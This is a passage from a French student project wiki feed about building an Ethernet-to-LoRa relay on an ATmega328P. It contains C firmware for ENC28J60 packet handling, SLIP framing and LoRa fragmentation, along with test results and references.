Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.zip]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39549</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39549"/>
				<updated>2017-02-25T15:21:49Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Rapport du PFE */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
